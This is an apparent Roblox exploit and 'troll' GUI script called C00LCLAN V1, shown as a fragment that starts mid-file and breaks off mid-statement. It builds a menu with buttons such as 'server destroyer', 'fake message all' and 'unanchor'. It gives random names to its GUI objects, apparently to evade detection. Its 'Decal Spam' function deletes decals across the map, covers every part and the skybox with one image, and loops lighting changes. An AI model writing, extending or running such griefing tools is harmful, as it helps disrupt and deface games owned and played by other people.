G2L["20"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["20"]["BackgroundTransparency"] = 1; G2L["20"]["Position"] = UDim2.new(0.50846, 0, -0.26555, 0); -- StarterGui.ScreenGui.Frame.TextButton G2L["21"] = Instance.new("TextButton", G2L["2"]); G2L["21"]["BorderSizePixel"] = 0; G2L["21"]["TextSize"] = 14; G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["21"]["BackgroundTransparency"] = 0.2; G2L["21"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["Text"] = [[teams]]; G2L["21"]["Position"] = UDim2.new(0.08073, 0, 0.50389, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["22"] = Instance.new("LocalScript", G2L["21"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["23"] = Instance.new("TextButton", G2L["2"]); G2L["23"]["BorderSizePixel"] = 0; G2L["23"]["TextSize"] = 14; G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23"]["BackgroundTransparency"] = 0.2; G2L["23"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["Text"] = [[ball rain]]; G2L["23"]["Position"] = UDim2.new(0.3782, 0, 0.50305, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["24"] = Instance.new("LocalScript", G2L["23"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["25"] = Instance.new("TextButton", G2L["2"]); G2L["25"]["BorderSizePixel"] = 0; G2L["25"]["TextSize"] = 14; G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["25"]["BackgroundTransparency"] = 0.2; G2L["25"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["25"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["25"]["Text"] = [[message]]; G2L["25"]["Position"] = UDim2.new(0.69301, 0, 0.50229, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["26"] = Instance.new("LocalScript", G2L["25"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["27"] = Instance.new("TextButton", G2L["2"]); G2L["27"]["BorderSizePixel"] = 0; G2L["27"]["TextSize"] = 14; G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["27"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["27"]["BackgroundTransparency"] = 0.2; G2L["27"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["27"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["27"]["Text"] = [[server destroyer]]; G2L["27"]["Position"] = UDim2.new(0.08485, 0, 0.6016, 0); -- StarterGui.ScreenGui.Frame.TextButton.Script G2L["28"] = Instance.new("Script", G2L["27"]); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["29"] = Instance.new("LocalScript", G2L["27"]); -- StarterGui.ScreenGui.Frame.TextButton.RemoteEvent G2L["2a"] = Instance.new("RemoteEvent", G2L["27"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["2b"] = Instance.new("TextButton", G2L["2"]); G2L["2b"]["BorderSizePixel"] = 0; G2L["2b"]["TextSize"] = 14; G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2b"]["BackgroundTransparency"] = 0.2; G2L["2b"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b"]["Text"] = [[fake message all]]; G2L["2b"]["Position"] = UDim2.new(0.37215, 0, 0.6034, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["2c"] = Instance.new("LocalScript", G2L["2b"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["2d"] = Instance.new("TextButton", G2L["2"]); G2L["2d"]["BorderSizePixel"] = 0; G2L["2d"]["TextSize"] = 14; G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d"]["BackgroundTransparency"] = 0.2; G2L["2d"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d"]["Text"] = [[unanchor]]; G2L["2d"]["Position"] = UDim2.new(0.68878, 0, 0.60491, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["2e"] = Instance.new("LocalScript", G2L["2d"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["2f"] = Instance.new("TextButton", G2L["2"]); G2L["2f"]["BorderSizePixel"] = 0; G2L["2f"]["TextSize"] = 14; G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f"]["BackgroundTransparency"] = 0.2; G2L["2f"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["Text"] = [[rainbow all]]; G2L["2f"]["Position"] = UDim2.new(0.08557, 0, 0.72121, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["30"] = Instance.new("LocalScript", G2L["2f"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["31"] = Instance.new("TextButton", G2L["2"]); G2L["31"]["BorderSizePixel"] = 0; G2L["31"]["TextSize"] = 14; G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["31"]["BackgroundTransparency"] = 0.2; G2L["31"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["31"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["31"]["Text"] = [[raining fire]]; G2L["31"]["Position"] = UDim2.new(0.37329, 0, 0.71836, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["32"] = Instance.new("LocalScript", G2L["31"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["33"] = Instance.new("TextButton", G2L["2"]); G2L["33"]["BorderSizePixel"] = 0; G2L["33"]["TextSize"] = 14; G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["33"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["33"]["BackgroundTransparency"] = 0.2; G2L["33"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["33"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["33"]["Text"] = [[disco]]; G2L["33"]["Position"] = UDim2.new(0.69005, 0, 0.71769, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["34"] = Instance.new("LocalScript", G2L["33"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["35"] = Instance.new("TextButton", G2L["2"]); G2L["35"]["BorderSizePixel"] = 0; G2L["35"]["TextSize"] = 14; G2L["35"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["35"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["35"]["BackgroundTransparency"] = 0.2; G2L["35"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["35"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["35"]["Text"] = [[guns]]; G2L["35"]["Position"] = UDim2.new(0.09018, 0, 0.83746, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["36"] = Instance.new("LocalScript", G2L["35"]); -- StarterGui.ScreenGui.Frame.TextButton.Script G2L["37"] = Instance.new("Script", G2L["35"]); -- StarterGui.ScreenGui.Frame.TextButton.RemoteEvent G2L["38"] = Instance.new("RemoteEvent", G2L["35"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["39"] = Instance.new("TextButton", G2L["2"]); G2L["39"]["BorderSizePixel"] = 0; G2L["39"]["TextSize"] = 14; G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["39"]["BackgroundTransparency"] = 0.2; G2L["39"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["Text"] = [[explode]]; G2L["39"]["Position"] = UDim2.new(0.37325, 0, 0.83105, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["3a"] = Instance.new("LocalScript", G2L["39"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["3b"] = Instance.new("TextButton", G2L["2"]); G2L["3b"]["BorderSizePixel"] = 0; G2L["3b"]["TextSize"] = 14; G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3b"]["BackgroundTransparency"] = 0.2; G2L["3b"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["3b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["Text"] = [[set walkspeed]]; G2L["3b"]["Position"] = UDim2.new(0.68564, 0, 0.83108, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["3c"] = Instance.new("LocalScript", G2L["3b"]); -- StarterGui.ScreenGui.Frame.LocalScript G2L["3d"] = Instance.new("LocalScript", G2L["2"]); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_7() local script = G2L["7"]; script.Parent.MouseButton1Click:Connect(function() --Services local Players = game:GetService("Players") local Player = Players.LocalPlayer local PlayerGui = Player:WaitForChild("PlayerGui") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local PhysicsService = game:GetService("PhysicsService") local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:WaitForChild("Humanoid") local HRP = Character:WaitForChild("HumanoidRootPart") local Mouse = Player:GetMouse() local CollectionService = game:GetService("CollectionService") local RunService = game:GetService("RunService") local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local TweenService = game:GetService("TweenService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local MarketplaceService = game:GetService("MarketplaceService") local StarterGui = game:GetService("StarterGui") local Debris = game:GetService("Debris") local Lighting = game:GetService("Lighting") local SoundService = game:GetService("SoundService") local player = Player local PlaceId = game.PlaceId local JobId = game.JobId --settings local infjump = false local invisRunning = false local noclipOn = false local noclipConn local hoverHeight local bindFrame, bindConn, waitingBindFunction local customBinds = {} local infJumpEnabled = false local infJumpConnection = nil local espOn = false local spinOn = false local spinBAV, lockBP local savedCFrame local invisRunning = false local InvisibleCharacter = nil local OriginalCharacter = nil local voidConn = nil local flyingEnabled = false local invisRunning = false local flyBG, flyBV, flyConn local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y) local hit, pos = workspace:FindPartOnRay(ray, Character) --GUI settings local GUI_WIDTH = 400 local GUI_HEIGHT = 320 local TITLE_HEIGHT = 30 local NAV_HEIGHT = 30 local FOOTER_HEIGHT = 30 local GRID_PADDING = 4 local GRID_COLUMNS = 4 math.randomseed(os.time()) local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" local string_sub = string.sub local math_random = math.random local table_concat = table.concat local character_set_amount = #character_set local number_one = 1 local default_length = 10 local function generate_string(length) local random_string = {} for int = number_one, length or default_length do local random_number = math_random(number_one, character_set_amount) local character = string_sub(character_set, random_number, random_number) random_string[#random_string + number_one] = character end return table_concat(random_string) end -- Function manager with descriptions local FunctionManager = { CategorizedFunctions = { All = {} }, Categories = { "All" }, CurrentCategoryIndex= 1, Descriptions = {}, ISFE = {}, OnFunctionAdded = Instance.new("BindableEvent"), } function FunctionManager:register(name, callback, category, description, FE) category = category or "General" if not self.CategorizedFunctions[category] then self.CategorizedFunctions[category] = {} table.insert(self.Categories, category) end self.CategorizedFunctions[category][name] = callback self.CategorizedFunctions.All[name] = callback self.Descriptions[name] = description or "" self.ISFE[name] = FE or "yes" if description == "NOT FE" then self.ISFE[name] = "no" end self.OnFunctionAdded:Fire(category, name, callback) self.OnFunctionAdded:Fire("All", name, callback) end function FunctionManager:getCurrentCategory() return self.Categories[self.CurrentCategoryIndex] end function FunctionManager:cycleCategory() self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1 return self:getCurrentCategory() end local screenGui = Instance.new("ScreenGui") screenGui.Name = generate_string(math_random(1, 10)) local die = screenGui.Name screenGui.ResetOnSpawn= false screenGui.Parent = PlayerGui local notificationContainer = Instance.new("Frame") notificationContainer.Name = "NotificationContainer" notificationContainer.Size = UDim2.new(1, 0, 1, 0) notificationContainer.Position = UDim2.new(0, 0, 0, 0) notificationContainer.BackgroundTransparency = 1 notificationContainer.ZIndex = 100 notificationContainer.Parent = screenGui local function Notify(text, title, duration) duration = duration or 4 local frame = Instance.new("Frame") frame.AnchorPoint = Vector2.new(1, 1) frame.Size = UDim2.new(0, 300, 0, 70) frame.Position = UDim2.new(1, 320, 1, -10) frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0) frame.BackgroundTransparency = 0 frame.BorderSizePixel = 0 frame.ZIndex = 200 frame.Parent = notificationContainer local titleLabel = Instance.new("TextLabel") titleLabel.BackgroundTransparency = 1 titleLabel.Size = UDim2.new(1, -10, 0, 24) titleLabel.Position = UDim2.new(0, 5, 0, 4) titleLabel.Font = Enum.Font.SourceSansBold titleLabel.Text = title or "Notice" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextSize = 18 titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.ZIndex = 201 titleLabel.Parent = frame local bodyLabel = Instance.new("TextLabel") bodyLabel.BackgroundTransparency = 1 bodyLabel.Size = UDim2.new(1, -10, 1, -30) bodyLabel.Position = UDim2.new(0, 5, 0, 28) bodyLabel.Font = Enum.Font.SourceSans bodyLabel.Text = text or "" bodyLabel.TextColor3 = Color3.new(1, 1, 1) bodyLabel.TextSize = 14 bodyLabel.TextWrapped = true bodyLabel.TextXAlignment = Enum.TextXAlignment.Left bodyLabel.ZIndex = 201 bodyLabel.Parent = frame task.defer(function() local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.new(1, -10, 1, -10) }) slideIn:Play() end) task.delay(duration, function() local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), { BackgroundTransparency = 1, Position = UDim2.new(1, 320, 1, -10) }) local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1}) local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1}) fadeOut:Play() titleFade:Play() bodyFade:Play() fadeOut.Completed:Wait() frame:Destroy() end) end local notificationLayout = Instance.new("UIListLayout") notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder notificationLayout.Padding = UDim.new(0, 6) notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom notificationLayout.Parent = notificationContainer Notify("Welcome to C00lClan!", "Have fun!", 3) -- Main frame local mainFrame = Instance.new("Frame") mainFrame.Name = generate_string(math_random(1, 10)) mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT) mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2) mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5) mainFrame.BorderSizePixel = 0 mainFrame.Parent = screenGui -- Tooltip local tooltip = Instance.new("TextLabel", screenGui) tooltip.Name = generate_string(math_random(1, 10)) tooltip.Size = UDim2.new(0, 200, 0, 40) tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30) tooltip.BorderSizePixel = 0 tooltip.Visible = false tooltip.ZIndex = 100 tooltip.ClipsDescendants = false tooltip.TextColor3 = Color3.fromRGB(255, 255, 255) tooltip.TextWrapped = true -- Title bar local titleBar = Instance.new("Frame", mainFrame) titleBar.Name = generate_string(math_random(1, 10)) titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT) titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0) titleBar.BorderSizePixel = 0 local titleLabel = Instance.new("TextLabel", titleBar) titleLabel.Size = UDim2.new(1,-60,1,0) titleLabel.Position = UDim2.new(0,4,0,0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "C00LCLAN V1" titleLabel.Font = Enum.Font.SourceSansBold titleLabel.TextSize = 18 titleLabel.TextColor3 = Color3.new(1,1,1) titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.Name = generate_string(math_random(1, 10)) local minBtn = Instance.new("TextButton", titleBar) minBtn.Name = generate_string(math_random(1, 10)) minBtn.Size = UDim2.new(0,30,1,0) minBtn.Position = UDim2.new(1,-30,0,0) minBtn.Text = "_" minBtn.Font = Enum.Font.SourceSansBold minBtn.TextSize = 18 minBtn.TextColor3 = Color3.new(1,1,1) minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10) minBtn.BorderSizePixel = 0 -- Drag logic local dragging, dragInput, dragStart, startPos = false, nil local function updateDrag(input) local delta = input.Position - dragStart mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y) end titleBar.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dragging, dragStart, startPos = true, i.Position, mainFrame.Position i.Changed:Connect(function() if i.UserInputState==Enum.UserInputState.End then dragging=false end end) end end) titleBar.InputChanged:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end end) UserInputService.InputChanged:Connect(function(i) if i==dragInput and dragging then updateDrag(i) end end) -- Category nav local catNav = Instance.new("Frame", mainFrame) catNav.Name = generate_string(math_random(1, 10)) catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT) catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT) catNav.BackgroundTransparency = 1 local leftCat = Instance.new("TextButton", catNav) leftCat.Size = UDim2.new(0,50,1,0) leftCat.Text = "<" leftCat.Font = Enum.Font.SourceSansBold leftCat.TextSize = 24 leftCat.TextColor3 = Color3.new(1,1,1) leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0) leftCat.BorderSizePixel = 0 leftCat.Name = generate_string(math_random(1, 10)) local catLabel = Instance.new("TextLabel", catNav) catLabel.Size = UDim2.new(1,-100,1,0) catLabel.Position = UDim2.new(0,50,0,0) catLabel.BackgroundTransparency = 1 catLabel.Text = "All" catLabel.Font = Enum.Font.SourceSansBold catLabel.TextSize = 18 catLabel.TextColor3 = Color3.new(1,1,1) catNav.Name = generate_string(math_random(1, 10)) local rightCat = leftCat:Clone() rightCat.Parent = catNav rightCat.Position = UDim2.new(1,-50,0,0) rightCat.Text = ">" rightCat.Name = generate_string(math_random(1, 10)) -- Grid local gridFrame = Instance.new("ScrollingFrame", mainFrame) gridFrame.Name = generate_string(math_random(1, 10)) gridFrame.ClipsDescendants= true gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING) gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING) gridFrame.BackgroundTransparency = 1 local gridLayout = Instance.new("UIGridLayout", gridFrame) gridLayout.Name = generate_string(math_random(1, 10)) gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40) gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING) gridLayout.SortOrder = Enum.SortOrder.LayoutOrder -- Footer local footer = Instance.new("Frame", mainFrame) footer.Name = generate_string(math_random(1, 10)) footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT) footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT) footer.BackgroundTransparency = 1 local closeBtn = Instance.new("TextButton", footer) closeBtn.Size = UDim2.new(1,0,1,0) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 18 closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0) closeBtn.BorderSizePixel = 0 closeBtn.Name = generate_string(math_random(1, 10)) -- Minimize toggle local minimized = false minBtn.MouseButton1Click:Connect(function() minimized = not minimized if minimized == true then mainFrame.BackgroundTransparency = 1 else mainFrame.BackgroundTransparency = 0 end gridFrame.Visible = not minimized catNav.Visible = not minimized footer.Visible = not minimized minBtn.Text = minimized and "◻" or "_" end) local function NotifyERROR(text) Notify(text, "ERROR", 3) end -- Build the grid and tooltips local function updateGrid() for _, c in ipairs(gridFrame:GetChildren()) do if c:IsA("TextButton") then c:Destroy() end end local cat = FunctionManager:getCurrentCategory() catLabel.Text = cat for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do local btn = Instance.new("TextButton") local isFE = FunctionManager.ISFE[name] btn.Size = UDim2.new(1,0,0,40) btn.BackgroundColor3 = Color3.fromRGB(70,10,10) btn.BorderSizePixel = 0 btn.Font = Enum.Font.SourceSansBold btn.TextSize = 16 btn.TextColor3 = Color3.new(1,1,1) btn.Text = name btn.TextWrapped = true btn.Parent = gridFrame btn.Name = generate_string(math_random(1, 10)) if isFE == "no" then btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87) end -- tooltip local desc = FunctionManager.Descriptions[name] btn.MouseMoved:Connect(function() if desc ~= "" and desc ~= nil then tooltip.Text = desc tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4) tooltip.Visible = true end end) btn.MouseLeave:Connect(function() tooltip.Visible = false end) btn.MouseButton1Click:Connect(function() pcall(cb) end) end end local logo = Instance.new("ImageLabel") logo.Name = generate_string(math_random(1, 10)) logo.BackgroundTransparency = 1 logo.Size = UDim2.new(1, 0, 0, 100) logo.Position = UDim2.new(0, -50, 0, -100) logo.Image = "rbxassetid://87486058304609" logo.ScaleType = Enum.ScaleType.Fit logo.Parent = mainFrame -- nav buttons leftCat.MouseButton1Click:Connect(function() FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1 updateGrid() end) rightCat.MouseButton1Click:Connect(function() FunctionManager:cycleCategory() updateGrid() end) closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() end) FunctionManager.OnFunctionAdded.Event:Connect(updateGrid) -- Initialize updateGrid() FunctionManager:register("Decal Spam", function() local decalID = 8408806737 local function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id="..decalID Two.Texture = "http://www.roblox.com/asset/?id="..decalID Three.Texture = "http://www.roblox.com/asset/?id="..decalID Four.Texture = "http://www.roblox.com/asset/?id="..decalID Five.Texture = "http://www.roblox.com/asset/?id="..decalID Six.Texture = "http://www.roblox.com/asset/?id="..decalID One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end local function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(game.Workspace) asdf(game.Workspace) local s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting local skyboxID = 8408806737 s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID game.Lighting.TimeOfDay = 12 for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end while true do game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random()) wait(0.2) game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random()) wait(0.2) end end, "Troll", "NOT FE") FunctionManager:register("JOHN DOE", function() local redSkyboxAssetId = "rbxassetid://1012887" local sky = Lighting:FindFirstChildOfClass("Sky") if not sky then sky = Instance.new("Sky", Lighting) end sky.SkyboxBk = redSkyboxAssetId sky.SkyboxDn = redSkyboxAssetId sky.SkyboxFt = redSkyboxAssetId sky.SkyboxLf = redSkyboxAssetId sky.SkyboxRt = redSkyboxAssetId sky.SkyboxUp = redSkyboxAssetId if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then local detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = ReplicatedStorage end local screenGui = Instance.new("ScreenGui") screenGui.Name = "PersistentSoundGui" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local button = Instance.new("TextButton") button.Size = UDim2.new(0, 150, 0, 50) button.Position = UDim2.new(0.02, 0, 0.477, 0) button.Text = "Sound Toggle" button.Font = Enum.Font.SourceSansBold button.TextSize = 20 button.BackgroundColor3 = Color3.fromRGB(50, 50, 50) button.TextColor3 = Color3.new(1, 1, 1) button.Parent = screenGui local backgroundSound = SoundService:FindFirstChild("PersistentBGSound") if not backgroundSound then backgroundSound = Instance.new("Sound") backgroundSound.Name = "PersistentBGSound" backgroundSound.SoundId = "rbxassetid://19094700" backgroundSound.PlaybackSpeed = 0.221 backgroundSound.Looped = true backgroundSound.Volume = 1 backgroundSound.Parent = SoundService backgroundSound:Play() end button.Activated:Connect(function() backgroundSound.Playing = not backgroundSound.Playing end) local function setupCharacter(character) local humanoid = character:WaitForChild("Humanoid") local torso = character:WaitForChild("Torso") local hrp = character:WaitForChild("HumanoidRootPart") local tool = Instance.new("Tool") tool.Name = "Slash" tool.RequiresHandle = false tool.Parent = player.Backpack tool.Activated:Connect(function() local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://186934658" local track = humanoid:LoadAnimation(animation) track:Play() track:AdjustSpeed(2) local s = Instance.new("Sound", torso) s.SoundId = "rbxassetid://28144425" s:Play() task.wait(0.2) local s2 = Instance.new("Sound", torso) s2.SoundId = "rbxassetid://429400881" s2.Volume = 0.2 s2:Play() end) local naeeym = Instance.new("BillboardGui", character) naeeym.Size = UDim2.new(0, 100, 0, 40) naeeym.StudsOffset = Vector3.new(0, 2, 0) naeeym.Adornee = character:WaitForChild("Head") local tecks = Instance.new("TextLabel", naeeym) tecks.BackgroundTransparency = 1 tecks.BorderSizePixel = 0 tecks.Font = Enum.Font.Fantasy tecks.TextSize = 24 tecks.TextStrokeTransparency = 0 tecks.TextStrokeColor3 = Color3.new(0, 0, 0) tecks.TextColor3 = Color3.new(0, 0, 0) tecks.Size = UDim2.new(1, 0, 0.5, 0) tecks.Text = "John Doe" local function changeName(newName) tecks.Text = newName end local function shakeTag() local originalOffset = 